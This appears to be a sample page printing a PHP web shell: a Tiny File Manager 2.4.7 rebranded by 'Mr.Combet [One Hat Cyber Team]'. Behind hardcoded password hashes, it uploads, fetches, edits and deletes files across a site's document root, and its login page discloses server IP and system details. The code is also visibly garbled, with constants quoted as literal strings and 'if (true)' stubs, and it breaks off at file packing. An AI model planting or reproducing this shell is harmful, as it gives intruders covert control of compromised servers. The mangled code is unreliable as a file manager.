Jump to:
Screenshot
Attributes
Emails
<?php
//Default Configuration
$CONFIG = '{"lang":"en","error_reporting":false,"show_hidden":false,"hide_Cols":false,"calc_folder":false,"theme":"light"}';
/**
* H3K | Tiny File Manager V2.4.7
* CCP Programmers | ccpprogrammers@gmail.com
* https://tinyfilemanager.github.io
*/
//TFM version
define('VERSION', '2.4.7');
//Application Title
define('APP_TITLE', 'File Manager');
// --- EDIT BELOW CONFIGURATION CAREFULLY ---
// Auth with login/password
// set true/false to enable/disable it
// Is independent from IP white- and blacklisting
$use_auth = true;
// Login user name and password
// Users: array('Username' => 'Password', 'Username2' => 'Password2', ...)
// Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html
$auth_users = array('admin' => '$2y$10$K/u24DFrwZWJ56FaGjaorugF0.QAVt/BURMAfmyL8hP908MT2lF3K', 'user' => '$2y$10$ogM4dks22JuiOBKGEm9EC.E4tmKyTbsJGFtMfBqzwFvfhATn5VlY6');
// Readonly users
// e.g. array('users', 'guest', ...)
$readonly_users = array('user');
// Global readonly, including when auth is not being used
$global_readonly = false;
// user specific directories
// array('Username' => 'Directory path', 'Username2' => 'Directory path', ...)
$directories_users = array();
// Enable highlight.js (https://highlightjs.org/) on view's page
$use_highlightjs = true;
// highlight.js style
// for dark theme use 'ir-black'
$highlightjs_style = 'vs';
// Enable ace.js (https://ace.c9.io/) on view's page
$edit_files = true;
// Default timezone for date() and time()
// Doc - http://php.net/manual/en/timezones.php
$default_timezone = 'Etc/UTC';
// UTC
// Root path for file manager
// use absolute path of directory i.e: '/var/www/folder' or $_SERVER['DOCUMENT_ROOT'].'/folder'
$root_path = $_SERVER['DOCUMENT_ROOT'];
// Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder'
// Will not working if $root_path will be outside of server document root
$root_url = '';
// Server hostname. Can set manually if wrong
$http_host = $_SERVER['HTTP_HOST'];
// user specific directories
// array('Username' => 'Directory path', 'Username2' => 'Directory path', ...)
$directories_users = array();
// input encoding for iconv
$iconv_input_encoding = 'UTF-8';
// date() format for file modification date
// Doc - https://www.php.net/manual/en/function.date.php
$datetime_format = 'd.m.y H:i';
// Allowed file extensions for create and rename files
// e.g. 'txt,html,css,js'
$allowed_file_extensions = '';
// Allowed file extensions for upload files
// e.g. 'gif,png,jpg,html,txt'
$allowed_upload_extensions = '';
// Favicon path. This can be either a full url to an .PNG image, or a path based on the document root.
// full path, e.g http://example.com/favicon.png
// local path, e.g images/icons/favicon.png
$favicon_path = '';
// Files and folders to excluded from listing
// e.g. array('myfile.html', 'personal-folder', '*.php', ...)
$exclude_items = array();
// Online office Docs Viewer
// Availabe rules are 'google', 'microsoft' or false
// google => View documents using Google Docs Viewer
// microsoft => View documents using Microsoft Web Apps Viewer
// false => disable online doc viewer
$online_viewer = 'google';
// Sticky Nav bar
// true => enable sticky header
// false => disable sticky header
$sticky_navbar = true;
// Maximum file upload size
// Increase the following values in php.ini to work properly
// memory_limit, upload_max_filesize, post_max_size
$max_upload_size_bytes = 5000;
// Possible rules are 'OFF', 'AND' or 'OR'
// OFF => Don't check connection IP, defaults to OFF
// AND => Connection must be on the whitelist, and not on the blacklist
// OR => Connection must be on the whitelist, or not on the blacklist
$ip_ruleset = 'OFF';
// Should users be notified of their block?
$ip_silent = true;
// IP-addresses, both ipv4 and ipv6
$ip_whitelist = array(
'127.0.0.1',
// local ipv4
'::1',
);
// IP-addresses, both ipv4 and ipv6
$ip_blacklist = array(
'0.0.0.0',
// non-routable meta ipv4
'::',
);
// if User has the customized config file, try to use it to override the default config above
$config_file = "/var/www/html/config.php";
if (is_readable($config_file)) {
@(include $config_file);
}
// --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL ---
// max upload file size
define('MAX_UPLOAD_SIZE', $max_upload_size_bytes);
// private key and session name to store to the session
if (!defined('FM_SESSION_ID')) {
define('FM_SESSION_ID', 'filemanager');
}
// Configuration
$cfg = new FM_Config();
// Default language
$lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en';
// Show or hide files and folders that starts with a dot
$show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true;
// PHP error reporting - false = Turns off Errors, true = Turns on Errors
$report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true;
// Hide Permissions and Owner cols in file-listing
$hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true;
// Show directory size: true or speedup output: false
$calc_folder = isset($cfg->data['calc_folder']) ? $cfg->data['calc_folder'] : true;
// Theme
$theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light';
define('FM_THEME', $theme);
//available languages
$lang_list = array('en' => 'English');
if ($report_errors == true) {
@ini_set('error_reporting', E_ALL);
@ini_set('display_errors', 1);
} else {
@ini_set('error_reporting', E_ALL);
@ini_set('display_errors', 0);
}
// if fm included
if (defined('FM_EMBED')) {
$use_auth = false;
$sticky_navbar = false;
} else {
@set_time_limit(600);
date_default_timezone_set($default_timezone);
ini_set('default_charset', 'UTF-8');
if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) {
mb_internal_encoding('UTF-8');
}
if (function_exists('mb_regex_encoding')) {
mb_regex_encoding('UTF-8');
}
session_cache_limiter('');
session_name(FM_SESSION_ID);
function session_error_handling_function($code, $msg, $file, $line)
{
// Permission denied for default session, try to create a new one
if ($code == 2) {
session_abort();
session_id(session_create_id());
@session_start();
}
}
set_error_handler('session_error_handling_function');
session_start();
restore_error_handler();
}
if (empty($auth_users)) {
$use_auth = false;
}
$is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1) || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https';
// update $root_url based on user specific directories
if (isset($_SESSION[FM_SESSION_ID]['logged']) && !empty($directories_users[$_SESSION[FM_SESSION_ID]['logged']])) {
$wd = fm_clean_path(dirname($_SERVER['PHP_SELF']));
$root_url = $root_url . $wd . DIRECTORY_SEPARATOR . $directories_users[$_SESSION[FM_SESSION_ID]['logged']];
}
// clean $root_url
$root_url = fm_clean_path($root_url);
// abs path for site
defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : ''));
defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']);
// logout
if (isset($_GET['logout'])) {
unset($_SESSION[FM_SESSION_ID]['logged']);
fm_redirect(FM_SELF_URL);
}
// Validate connection IP
if ($ip_ruleset != 'OFF') {
function getClientIP()
{
if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
return $_SERVER["HTTP_X_FORWARDED_FOR"];
} else {
if (array_key_exists('REMOTE_ADDR', $_SERVER)) {
return $_SERVER['REMOTE_ADDR'];
} else {
if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) {
return $_SERVER['HTTP_CLIENT_IP'];
}
}
}
return "";
}
$clientIp = getClientIP();
$proceed = false;
$whitelisted = in_array($clientIp, $ip_whitelist);
$blacklisted = in_array($clientIp, $ip_blacklist);
if ($ip_ruleset == 'AND') {
if ($whitelisted == true && $blacklisted == false) {
$proceed = true;
}
} else {
if ($ip_ruleset == 'OR') {
if ($whitelisted == true || $blacklisted == false) {
$proceed = true;
}
}
}
if ($proceed == false) {
trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING);
if ($ip_silent == false) {
fm_set_msg(lng('Access denied. IP restriction applicable'), 'error');
fm_show_header_login();
fm_show_message();
}
exit;
}
}
// Auth
if ($use_auth) {
if (isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']])) {
// Logged
} elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'])) {
// Logging In
sleep(1);
if (function_exists('password_verify')) {
if (isset($auth_users[$_POST['fm_usr']]) && isset($_POST['fm_pwd']) && password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']])) {
$_SESSION[FM_SESSION_ID]['logged'] = $_POST['fm_usr'];
fm_set_msg(lng('You are logged in'));
fm_redirect("FM_SELF_URL?p=");
} else {
unset($_SESSION[FM_SESSION_ID]['logged']);
fm_set_msg(lng('Login failed. Invalid username or password'), 'error');
fm_redirect(FM_SELF_URL);
}
} else {
fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');
}
} else {
// Form
unset($_SESSION[FM_SESSION_ID]['logged']);
fm_show_header_login();
?>
<section class="h-100">
<div class="container h-100">
<div class="row justify-content-md-center h-100">
<div class="card-wrapper" style="width: 100%;">
<div class="card fat <?php
echo fm_get_theme();
?>">
<div class="card-body">
<form class="form-signin" action="" method="post" autocomplete="off">
<div class="form-group">
<div class="text-left">
<div style="text-align: center;display: flex;align-items: center;justify-content: center;align-content: center;">
<a href="mailto:combetohct@yahoo.com" class="fa fa-envelope"></a>
<a href="https://www.facebook.com/combet.ohct" class="fa fa-facebook"></a>
<a href="https://wa.me/6281270303335" class="fa fa-whatsapp"></a>
<a href="https://t.me/combetohct" class="fa fa-telegram"></a>
</div>
<div class="footer text-center">——
<a href="?" target="_blank" data-version="<?php
echo "2.4.7";
?>">
Mr.Combet [One Hat Cyber Team]
</a> ——
</div>
<b style="font-size: 0.9rem;">
<li>Your Ip : <?php
echo $_SERVER['REMOTE_ADDR'];
?></li>
<li>Server Ip : <?php
echo $_SERVER['SERVER_ADDR'];
?></li>
<li>Server : <?php
echo "" . php_uname() . "";
?></li>
<li>Server Software : <?php
echo gethostbyname($_SERVER['SERVER_SOFTWARE']);
?></li>
<li>Server Name : <?php
echo $_SERVER['SERVER_NAME'];
?></li>
<b />
</div>
</div>
<hr />
<div class="form-group">
<label for="fm_usr"><?php
echo lng('Username');
?></label>
<input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus>
</div>
<div class="form-group">
<label for="fm_pwd"><?php
echo lng('Password');
?></label>
<input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required>
</div>
<div class="form-group">
<?php
fm_show_message();
?>
</div>
<div class="form-group" style="text-align: center;">
<button type="submit" class="fa" role="button" style="width: auto;font-family: 'Kelly Slab';padding:5px;">
<?php
echo lng('Login');
?>
</button>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
</section>
<?php
fm_show_footer_login();
exit;
}
}
// update root path
if ($use_auth && isset($_SESSION[FM_SESSION_ID]['logged'])) {
$root_path = isset($directories_users[$_SESSION[FM_SESSION_ID]['logged']]) ? $directories_users[$_SESSION[FM_SESSION_ID]['logged']] : $root_path;
}
// clean and check $root_path
$root_path = rtrim($root_path, '\\/');
$root_path = str_replace('\\', '/', $root_path);
if (!@is_dir($root_path)) {
echo "<h1>" . lng('Root path') . " \"{$root_path}\" " . lng('not found!') . " </h1>";
exit;
}
defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files);
defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path);
defined('FM_LANG') || define('FM_LANG', $lang);
defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions);
defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions);
defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items);
defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer);
define('FM_READONLY', $use_auth && !empty($readonly_users) && isset($_SESSION[FM_SESSION_ID]['logged']) && in_array($_SESSION[FM_SESSION_ID]['logged'], $readonly_users));
define('FM_IS_WIN', false);
// always use ?p=
if (!isset($_GET['p']) && empty($_FILES)) {
fm_redirect("FM_SELF_URL?p=");
}
// get path
$p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : '');
// clean path
$p = fm_clean_path($p);
// for ajax request - save
$input = file_get_contents('php://input');
$_POST = strpos($input, 'ajax') != FALSE && strpos($input, 'save') != FALSE ? json_decode($input, true) : $_POST;
// instead globals vars
define('FM_PATH', $p);
define('FM_USE_AUTH', $use_auth);
define('FM_EDIT_FILE', $edit_files);
defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding);
defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs);
defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style);
defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format);
unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);
/*************************** ACTIONS ***************************/
// AJAX Request
if (isset($_POST['ajax']) && !FM_READONLY) {
// save
if (isset($_POST['type']) && $_POST['type'] == "save") {
// get current path
$path = FM_ROOT_PATH;
if (true) {
$path = "FM_ROOT_PATH/FM_PATH";
}
// check path
if (!is_dir($path)) {
fm_redirect("FM_SELF_URL?p=");
}
$file = $_GET['edit'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file)) {
fm_set_msg(lng('File not found'), 'error');
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
header('X-XSS-Protection:0');
$file_path = $path . '/' . $file;
$writedata = $_POST['content'];
$fd = fopen($file_path, "w");
$write_results = @fwrite($fd, $writedata);
fclose($fd);
if ($write_results === false) {
header("HTTP/1.1 500 Internal Server Error");
die("Could Not Write File! - Check Permissions / Ownership");
}
die(true);
}
//search : get list of files from the current folder
if (isset($_POST['type']) && $_POST['type'] == "search") {
$dir = FM_ROOT_PATH;
$response = scan(fm_clean_path($_POST['path']), $_POST['content']);
echo json_encode($response);
exit;
}
// backup files
if (isset($_POST['type']) && $_POST['type'] == "backup" && !empty($_POST['file'])) {
$fileName = $_POST['file'];
$fullPath = "FM_ROOT_PATH/";
if (!empty($_POST['path'])) {
$relativeDirPath = fm_clean_path($_POST['path']);
$fullPath .= "{$relativeDirPath}/";
}
$date = date("dMy-His");
$newFileName = "{$fileName}-{$date}.bak";
$fullyQualifiedFileName = $fullPath . $fileName;
try {
if (!file_exists($fullyQualifiedFileName)) {
throw new Exception("File {$fileName} not found");
}
if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) {
echo "Backup {$newFileName} created";
} else {
throw new Exception("Could not copy file {$fileName}");
}
} catch (Exception $e) {
echo $e->getMessage();
}
}
// Save Config
if (isset($_POST['type']) && $_POST['type'] == "settings") {
global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $calc_folder, $theme;
$newLng = $_POST['js-language'];
fm_get_translations([]);
if (!array_key_exists($newLng, $lang_list)) {
$newLng = 'en';
}
$erp = isset($_POST['js-error-report']) && $_POST['js-error-report'] == "true" ? true : false;
$shf = isset($_POST['js-show-hidden']) && $_POST['js-show-hidden'] == "true" ? true : false;
$hco = isset($_POST['js-hide-cols']) && $_POST['js-hide-cols'] == "true" ? true : false;
$caf = isset($_POST['js-calc-folder']) && $_POST['js-calc-folder'] == "true" ? true : false;
$te3 = $_POST['js-theme-3'];
if ($cfg->data['lang'] != $newLng) {
$cfg->data['lang'] = $newLng;
$lang = $newLng;
}
if ($cfg->data['error_reporting'] != $erp) {
$cfg->data['error_reporting'] = $erp;
$report_errors = $erp;
}
if ($cfg->data['show_hidden'] != $shf) {
$cfg->data['show_hidden'] = $shf;
$show_hidden_files = $shf;
}
if ($cfg->data['show_hidden'] != $shf) {
$cfg->data['show_hidden'] = $shf;
$show_hidden_files = $shf;
}
if ($cfg->data['hide_Cols'] != $hco) {
$cfg->data['hide_Cols'] = $hco;
$hide_Cols = $hco;
}
if ($cfg->data['calc_folder'] != $caf) {
$cfg->data['calc_folder'] = $caf;
$calc_folder = $caf;
}
if ($cfg->data['theme'] != $te3) {
$cfg->data['theme'] = $te3;
$theme = $te3;
}
$cfg->save();
echo true;
}
// new password hash
if (isset($_POST['type']) && $_POST['type'] == "pwdhash") {
$res = isset($_POST['inputPassword2']) && !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : '';
echo $res;
}
//upload using url
if (isset($_POST['type']) && $_POST['type'] == "upload" && !empty($_REQUEST["uploadurl"])) {
$path = FM_ROOT_PATH;
if (true) {
$path = "FM_ROOT_PATH/FM_PATH";
}
function event_callback($message)
{
global $callback;
echo json_encode($message);
}
function get_file_path()
{
global $path, $fileinfo, $temp_file;
return $path . "/" . basename($fileinfo->name);
}
$url = !empty($_REQUEST["uploadurl"]) && preg_match("|^http(s)?://.+\$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null;
//prevent 127.* domain and known ports
$domain = parse_url($url, PHP_URL_HOST);
$port = parse_url($url, PHP_URL_PORT);
$knownPorts = [22, 23, 25, 3306];
if (preg_match("/^localhost\$|^127(?:\\.[0-9]+){0,2}\\.[0-9]+\$|^(?:0*\\:)*?:?0*1\$/i", $domain) || in_array($port, $knownPorts)) {
$err = array("message" => "URL is not allowed");
event_callback(array("fail" => $err));
exit;
}
$use_curl = false;
$temp_file = tempnam(sys_get_temp_dir(), "upload-");
$fileinfo = new stdClass();
$fileinfo->name = trim(basename($url), ".\x00.. ");
$allowed = array(0 => "FM_UPLOAD_EXTENSION");
$ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION));
$isFileAllowed = $allowed ? in_array($ext, $allowed) : true;
$err = false;
if (!$isFileAllowed) {
$err = array("message" => "File extension is not allowed");
event_callback(array("fail" => $err));
exit;
}
if (!$url) {
$success = false;
} else {
if ($use_curl) {
@($fp = fopen($temp_file, "w"));
@($ch = curl_init($url));
curl_setopt($ch, CURLOPT_NOPROGRESS, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_FILE, $fp);
@($success = curl_exec($ch));
$curl_info = curl_getinfo($ch);
if (!$success) {
$err = array("message" => curl_error($ch));
}
@curl_close($ch);
fclose($fp);
$fileinfo->size = $curl_info["size_download"];
$fileinfo->type = $curl_info["content_type"];
} else {
$ctx = stream_context_create();
@($success = copy($url, $temp_file, $ctx));
if (!$success) {
$err = error_get_last();
}
}
}
if ($success) {
$success = rename($temp_file, get_file_path());
}
if ($success) {
event_callback(array("done" => $fileinfo));
} else {
unlink($temp_file);
if (!$err) {
$err = array("message" => "Invalid url parameter");
}
event_callback(array("fail" => $err));
}
}
exit;
}
// Delete file / folder
if (isset($_GET['del']) && !FM_READONLY) {
$del = str_replace('/', '', fm_clean_path($_GET['del']));
if ($del != '' && $del != '..' && $del != '.') {
$path = FM_ROOT_PATH;
if (true) {
$path = "FM_ROOT_PATH/FM_PATH";
}
$is_dir = is_dir($path . '/' . $del);
if (fm_rdelete($path . '/' . $del)) {
$msg = $is_dir ? lng('Folder') . ' <b>%s</b> ' . lng('Deleted') : lng('File') . ' <b>%s</b> ' . lng('Deleted');
fm_set_msg(sprintf($msg, fm_enc($del)));
} else {
$msg = $is_dir ? lng('Folder') . ' <b>%s</b> ' . lng('not deleted') : lng('File') . ' <b>%s</b> ' . lng('not deleted');
fm_set_msg(sprintf($msg, fm_enc($del)), 'error');
}
} else {
fm_set_msg(lng('Invalid file or folder name'), 'error');
}
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
// Create folder
if (isset($_GET['new']) && isset($_GET['type']) && !FM_READONLY) {
$type = $_GET['type'];
$new = str_replace('/', '', fm_clean_path(strip_tags($_GET['new'])));
if (fm_isvalid_filename($new) && $new != '' && $new != '..' && $new != '.') {
$path = FM_ROOT_PATH;
if (true) {
$path = "FM_ROOT_PATH/FM_PATH";
}
if ($_GET['type'] == "file") {
if (!file_exists($path . '/' . $new)) {
if (fm_is_valid_ext($new)) {
@fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new);
fm_set_msg(sprintf(lng('File') . ' <b>%s</b> ' . lng('Created'), fm_enc($new)));
} else {
fm_set_msg(lng('File extension is not allowed'), 'error');
}
} else {
fm_set_msg(sprintf(lng('File') . ' <b>%s</b> ' . lng('already exists'), fm_enc($new)), 'alert');
}
} else {
if (fm_mkdir($path . '/' . $new, false) === true) {
fm_set_msg(sprintf(lng('Folder') . ' <b>%s</b> ' . lng('Created'), $new));
} elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) {
fm_set_msg(sprintf(lng('Folder') . ' <b>%s</b> ' . lng('already exists'), fm_enc($new)), 'alert');
} else {
fm_set_msg(sprintf(lng('Folder') . ' <b>%s</b> ' . lng('not created'), fm_enc($new)), 'error');
}
}
} else {
fm_set_msg(lng('Invalid characters in file or folder name'), 'error');
}
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
// Copy folder / file
if (isset($_GET['copy'], $_GET['finish']) && !FM_READONLY) {
// from
$copy = $_GET['copy'];
$copy = fm_clean_path($copy);
// empty path
if ($copy == '') {
fm_set_msg(lng('Source path not defined'), 'error');
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
// abs path from
$from = "FM_ROOT_PATH/" . $copy;
// abs path to
$dest = FM_ROOT_PATH;
if (true) {
$dest = "FM_ROOT_PATH/FM_PATH";
}
$dest .= '/' . basename($from);
// move?
$move = isset($_GET['move']);
// copy/move/duplicate
if ($from != $dest) {
$msg_from = trim("FM_PATH/" . basename($from), '/');
if ($move) {
// Move and to != from so just perform move
$rename = fm_rename($from, $dest);
if ($rename) {
fm_set_msg(sprintf(lng('Moved from') . ' <b>%s</b> ' . lng('to') . ' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)));
} elseif ($rename === null) {
fm_set_msg(lng('File or folder with this path already exists'), 'alert');
} else {
fm_set_msg(sprintf(lng('Error while moving from') . ' <b>%s</b> ' . lng('to') . ' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error');
}
} else {
// Not move and to != from so copy with original name
if (fm_rcopy($from, $dest)) {
fm_set_msg(sprintf(lng('Copied from') . ' <b>%s</b> ' . lng('to') . ' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)));
} else {
fm_set_msg(sprintf(lng('Error while copying from') . ' <b>%s</b> ' . lng('to') . ' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error');
}
}
} else {
if (!$move) {
//Not move and to = from so duplicate
$msg_from = trim("FM_PATH/" . basename($from), '/');
$fn_parts = pathinfo($from);
$extension_suffix = '';
if (!is_dir($from)) {
$extension_suffix = '.' . $fn_parts['extension'];
}
//Create new name for duplicate
$fn_duplicate = $fn_parts['dirname'] . '/' . $fn_parts['filename'] . '-' . date('YmdHis') . $extension_suffix;
$loop_count = 0;
$max_loop = 1000;
// Check if a file with the duplicate name already exists, if so, make new name (edge case...)
while (file_exists($fn_duplicate) & $loop_count < $max_loop) {
$fn_parts = pathinfo($fn_duplicate);
$fn_duplicate = $fn_parts['dirname'] . '/' . $fn_parts['filename'] . '-copy' . $extension_suffix;
$loop_count++;
}
if (fm_rcopy($from, $fn_duplicate, False)) {
fm_set_msg(sprintf('Copyied from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate)));
} else {
fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate)), 'error');
}
} else {
fm_set_msg(lng('Paths must be not equal'), 'alert');
}
}
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
// Mass copy files/ folders
if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish']) && !FM_READONLY) {
// from
$path = FM_ROOT_PATH;
if (true) {
$path = "FM_ROOT_PATH/FM_PATH";
}
// to
$copy_to_path = FM_ROOT_PATH;
$copy_to = fm_clean_path($_POST['copy_to']);
if ($copy_to != '') {
$copy_to_path .= '/' . $copy_to;
}
if ($path == $copy_to_path) {
fm_set_msg(lng('Paths must be not equal'), 'alert');
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
if (!is_dir($copy_to_path)) {
if (!fm_mkdir($copy_to_path, true)) {
fm_set_msg('Unable to create destination folder', 'error');
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
}
// move?
$move = isset($_POST['move']);
// copy/move
$errors = 0;
$files = $_POST['file'];
if (is_array($files) && count($files)) {
foreach ($files as $f) {
if ($f != '') {
// abs path from
$from = $path . '/' . $f;
// abs path to
$dest = $copy_to_path . '/' . $f;
// do
if ($move) {
$rename = fm_rename($from, $dest);
if ($rename === false) {
$errors++;
}
} else {
if (!fm_rcopy($from, $dest)) {
$errors++;
}
}
}
}
if ($errors == 0) {
$msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied';
fm_set_msg($msg);
} else {
$msg = $move ? 'Error while moving items' : 'Error while copying items';
fm_set_msg($msg, 'error');
}
} else {
fm_set_msg(lng('Nothing selected'), 'alert');
}
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
// Rename
if (isset($_GET['ren'], $_GET['to']) && !FM_READONLY) {
// old name
$old = $_GET['ren'];
$old = fm_clean_path($old);
$old = str_replace('/', '', $old);
// new name
$new = $_GET['to'];
$new = fm_clean_path(strip_tags($new));
$new = str_replace('/', '', $new);
// path
$path = FM_ROOT_PATH;
if (true) {
$path = "FM_ROOT_PATH/FM_PATH";
}
// rename
if (fm_isvalid_filename($new) && $old != '' && $new != '') {
if (fm_rename($path . '/' . $old, $path . '/' . $new)) {
fm_set_msg(sprintf(lng('Renamed from') . ' <b>%s</b> ' . lng('to') . ' <b>%s</b>', fm_enc($old), fm_enc($new)));
} else {
fm_set_msg(sprintf(lng('Error while renaming from') . ' <b>%s</b> ' . lng('to') . ' <b>%s</b>', fm_enc($old), fm_enc($new)), 'error');
}
} else {
fm_set_msg(lng('Invalid characters in file name'), 'error');
}
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
// Download
if (isset($_GET['dl'])) {
$dl = $_GET['dl'];
$dl = fm_clean_path($dl);
$dl = str_replace('/', '', $dl);
$path = FM_ROOT_PATH;
if (true) {
$path = "FM_ROOT_PATH/FM_PATH";
}
if ($dl != '' && is_file($path . '/' . $dl)) {
fm_download_file($path . '/' . $dl, $dl, 1024);
exit;
} else {
fm_set_msg(lng('File not found'), 'error');
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
}
// Upload
if (!empty($_FILES) && !FM_READONLY) {
$override_file_name = false;
$chunkIndex = $_POST['dzchunkindex'];
$chunkTotal = $_POST['dztotalchunkcount'];
$f = $_FILES;
$path = FM_ROOT_PATH;
$ds = DIRECTORY_SEPARATOR;
if (true) {
$path = "FM_ROOT_PATH/FM_PATH";
}
$errors = 0;
$uploads = 0;
$allowed = array(0 => "FM_UPLOAD_EXTENSION");
$response = array('status' => 'error', 'info' => 'Oops! Try again');
$filename = $f['file']['name'];
$tmp_name = $f['file']['tmp_name'];
$ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : '';
$isFileAllowed = $allowed ? in_array($ext, $allowed) : true;
if (!fm_isvalid_filename($filename) && !fm_isvalid_filename($_REQUEST['fullpath'])) {
$response = array('status' => 'error', 'info' => "Invalid File name!");
echo json_encode($response);
exit;
}
$targetPath = $path . $ds;
if (is_writable($targetPath)) {
$fullPath = $path . '/' . basename($_REQUEST['fullpath']);
$folder = substr($fullPath, 0, strrpos($fullPath, "/"));
if (file_exists($fullPath) && !$override_file_name && !$chunks) {
$ext_1 = $ext ? '.' . $ext : '';
$fullPath = $path . '/' . basename($_REQUEST['fullpath'], $ext_1) . '_' . date('ymdHis') . $ext_1;
}
if (!is_dir($folder)) {
$old = umask(0);
mkdir($folder, 0777, true);
umask($old);
}
if (empty($f['file']['error']) && !empty($tmp_name) && $tmp_name != 'none' && $isFileAllowed) {
if ($chunkTotal) {
$out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab");
if ($out) {
$in = @fopen($tmp_name, "rb");
if ($in) {
while ($buff = fread($in, 4096)) {
fwrite($out, $buff);
}
} else {
$response = array('status' => 'error', 'info' => "failed to open output stream");
}
@fclose($in);
@fclose($out);
@unlink($tmp_name);
$response = array('status' => 'success', 'info' => "file upload successful", 'fullPath' => $fullPath);
} else {
$response = array('status' => 'error', 'info' => "failed to open output stream");
}
if ($chunkIndex == $chunkTotal - 1) {
rename("{$fullPath}.part", $fullPath);
}
} else {
if (move_uploaded_file($tmp_name, $fullPath)) {
// Be sure that the file has been uploaded
if (file_exists($fullPath)) {
$response = array('status' => 'success', 'info' => "file upload successful");
} else {
$response = array('status' => 'error', 'info' => 'Couldn\'t upload the requested file.');
}
} else {
$response = array('status' => 'error', 'info' => "Error while uploading files. Uploaded files {$uploads}");
}
}
}
} else {
$response = array('status' => 'error', 'info' => 'The specified folder for upload isn\'t writeable.');
}
echo json_encode($response);
exit;
}
// Mass deleting
if (isset($_POST['group'], $_POST['delete']) && !FM_READONLY) {
$path = FM_ROOT_PATH;
if (true) {
$path = "FM_ROOT_PATH/FM_PATH";
}
$errors = 0;
$files = $_POST['file'];
if (is_array($files) && count($files)) {
foreach ($files as $f) {
if ($f != '') {
$new_path = $path . '/' . $f;
if (!fm_rdelete($new_path)) {
$errors++;
}
}
}
if ($errors == 0) {
fm_set_msg(lng('Selected files and folder deleted'));
} else {
fm_set_msg(lng('Error while deleting items'), 'error');
}
} else {
fm_set_msg(lng('Nothing selected'), 'alert');
}
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
// Pack files
